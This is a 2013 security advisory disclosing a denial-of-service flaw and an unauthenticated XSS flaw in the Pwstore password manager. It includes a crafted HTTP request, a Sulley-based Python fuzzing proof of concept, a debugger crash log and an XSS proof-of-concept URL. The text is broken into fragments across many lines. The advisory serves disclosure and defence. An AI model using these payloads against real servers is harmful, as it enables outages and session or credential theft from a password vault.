##############################################################################
-
RealPentesting Advisory
-
###############################################################################
Title: MULTIPLE VULNERABILITIES IN PWSTORE
2010.8
.
30.0
Severity: Medium
History:
16.Apr
.
2013
Vulnerability reported
Authors: Josep Pi Rodriguez, Pedro Guillen Nuñez, Miguel Angel de Castro Simon
Organization: RealPentesting
URL: http:
/
/
www.realpentesting.blogspot.com
Product: Pwstore
Version:
2010.8
.
30.0
Vendor: Aultware
Url Vendor: http:
/
/
www.aultware.com
/
pwstore.html
Platform: Windows
Type
of vulnerability: Denial of Servive (DoS) AND Cross Site Scripting (XSS)
Issue fixed
in
version: (Not fixed)
CVE Identifiers: CVE
-
2013
-
5657
(DoS), CVE
-
2013
-
5658
(XSS)
[ DESCRIPTION SOFTWARE ]
From vendor website:
pwStore
is
a department
/
multi
-
user password management tool designed
for
small to medium sized IT groups.
The purpose of pwStore
is
to consolidate
all
of the department's passwords into one secure location
while
allowing
for
multiple users to access this information.
As of version
2.0
, pwStore has been re
-
written as a webserver
and
runs as a Windows service.
[ VULNERABILITY DETAILS ]
DENIAL OF SERVICE (DOS):
Pwstore suffers
from
a dos vulnerability.
In order to exploit the vulnerability You have to put the characters \x0d\x0a (Hexadecimal) after the HTTP Headers as you can see above:
-
-
-
-
-
-
-
-
-
-
-
-
-
-
GET
/
HTTP
/
1.1
HOST:\x0d\x0a
\r\n\r\n
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
We make using the sulley framework a poc code
in
order to exploit the vulnerability:
########################################################################################################
#!/usr/bin/env python
from
sulley
import
*
import
sys
import
time
s_initialize(
"HTTP"
)
s_static(
"GET / HTTP/1.1\r\n"
)
s_static(
"Host"
)
s_static(
":\x0d\x0a"
)
s_static(
" "
)
s_string(
"192.168.1.39"
)
s_static(
"\r\n"
)
s_static(
"\r\n"
)
print
"Instantiating session"
sess
=
sessions.session(session_filename
=
"https_pwstore.session"
, proto
=
"ssl"
, sleep_time
=
0.50
)
print
"Instantiating target"
target
=
sessions.target(
"192.168.1.39"
,
443
)
#target.procmon = pedrpc.client("127.0.0.1", 26002)
#target.netmon = pedrpc.client("127.0.0.1", 26001)
target.procmon_options
=
{
"proc_name"
:
"savant.exe"
,
"stop_commands"
: [
'wmic process where (name="savant.exe") delete"'
],
"start_commands"
: [
'C:\\savant\\savant.exe'
],
}
print
"Adding target"
sess.add_target(target)
print
"Building graph"
sess.connect(s_get(
"HTTP"
))
print
"Starting fuzzing now"
sess.fuzz()
#####################################################################################
Evidence Log
-
-
-
-
-
-
-
-
-
(
2a4
.cfc): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
00000000
ebx
=
01c40062
ecx
=
3fffffff
edx
=
00000003
esi
=
01c40062
edi
=
00000000
eip
=
01017dce
esp
=
0155fd94
ebp
=
0155fe98
iopl
=
0
nv up ei pl nz na pe nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00010206
*
*
*
WARNING: Unable to verify checksum
for
C:\pwStore\C70RUN.dll
*
*
*
ERROR: Symbol
file
could
not
be found. Defaulted to export symbols
for
C:\pwStore\C70RUN.dll
-
C70RUN!memcpy
+
0x3a
:
01017dce
f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
#####################################################################################
CROSS SITE SCRIPTING (XSS):
The software suffers
from
a xss vulnerability too an this
is
in
unatheunticated manner. You can check the vulnerability with this url POC:
https:
/
/
192.168
.
1.39
/
?
81c93
"><script>alert(
1
)<
/
script>
86eed54cabcc98664
=
1
&FormState
=
XJYDWJHIGP&tmp__UserName
=
aa&tmp__Password
=
aa&pressedButton
=
save_btn
[ VENDOR COMMUNICATION ]
16
/
04
/
2013
: vendor contacted but no response
20
/
04
/
2013
: vendor contacted again.No response
29
/
04
/
2013
: PUBLIC DISCLOSURE